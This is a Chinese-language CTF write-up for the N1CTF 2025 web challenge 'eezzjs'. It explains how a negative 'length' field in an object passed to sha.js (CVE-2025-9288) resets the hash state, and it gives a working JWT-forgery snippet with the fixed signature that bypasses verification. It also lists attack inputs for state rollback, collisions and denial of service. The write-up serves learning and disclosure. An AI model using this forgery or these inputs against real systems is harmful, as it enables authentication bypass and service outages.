TONG-H

2025N1CTF WP

CTF2025-11-03

2025N1CTF WP


WEB

eezzjs

审计代码,程序主要做了一个登录的jwt的检验

程序里面的admin_password和secret的值都是随机的字节,并且没有register的功能,因此我们没有办法拿到任何的token,只能自己伪造。

再审计代码可以看到在auth.js的verifyJWT函数中,计算sha256的时候往hash里面传入的payload是一个object的值

1
const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

sha256函数则是将传入的值全部update进hash,然后再对其进行加密计算

1
2
3
4
5
const sha256 = (...messages) => {
const hash = sha('sha256');
messages.forEach((m) => hash.update(m));
return hash.digest('hex');
};

这个时候我们去找update的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Hash.prototype.update = function (data, enc) {
if (typeof data === 'string') {
enc = enc || 'utf8'
data = Buffer.from(data, enc)
}

var block = this._block
var blockSize = this._blockSize
var length = data.length
var accum = this._len

for (var offset = 0; offset < length;) {
var assigned = accum % blockSize
var remainder = Math.min(length - offset, blockSize - assigned)

for (var i = 0; i < remainder; i++) {
block[assigned + i] = data[offset + i]
}

accum += remainder
offset += remainder

if ((accum % blockSize) === 0) {
this._update(block)
}
}

this._len += length
return this
}

可以看到,当传入update的为非string值时,仍然会有一个取data.length并加入this._len的过程,那么当我们修改传入的data的length的值,就可以影响前后传入的变量后的结果,如果所有的参数传输完毕后,若this._len=0,那么最终hash.digest()的结果就会是一个固定的值。

那么观察secret的生成规则

1
const JWT_SECRET = crypto.randomBytes(9).toString('hex');

可以注意到secret是一个18字节的字符串,那只要在sha256函数传入secret之前将this._len设置为-18,后面加上secret之后sha256的返回结果就是固定可知的。

调用signJWT函数伪造JWT

1
2
3
const header = { alg: 'HS256', typ: 'JWT' };
const len=-(JSON.stringify(header).length+18);
token=signJWT({username:"admin",length:len},crypto.randomBytes(9).toString('hex'))

此时,sha256在传入header,payload,secret后最终返回的结果将会固定为674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1

此时修改token=674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1,访问/upload即可绕过verifyJWT

其实这是一个新鲜的CVE漏洞CVE-2025-9288

漏洞核心:输入类型检查缺失引发的加密灾难

漏洞点在的JavaScript加密库sha.js@2.4.5–2.4.11及 sha.js@3.2.4–3.2.8

攻击者可实现的四类危害

  1. 哈希状态回滚

    输入{ length: -x }类参数可回滚内部状态,将标记哈希(用于数据完整性保护)降级为未标记哈希,破坏加密机制。

  2. 数值误算与碰撞

    构造{ length: buf.length, ...buf, 0: buf[0] + 256 }使不同数值生成相同哈希,引发逻辑不一致(如与bn.js交互时)。

  3. 拒绝服务(DoS)攻击

    输入{ length: '1e99' }导致函数无限挂起,服务资源耗尽。

  4. 私钥提取(最严重后果)

    在依赖哈希生成随机数的系统(如非对称加密)中,匹配哈希值但数值解释差异可导致私钥被推导恢复。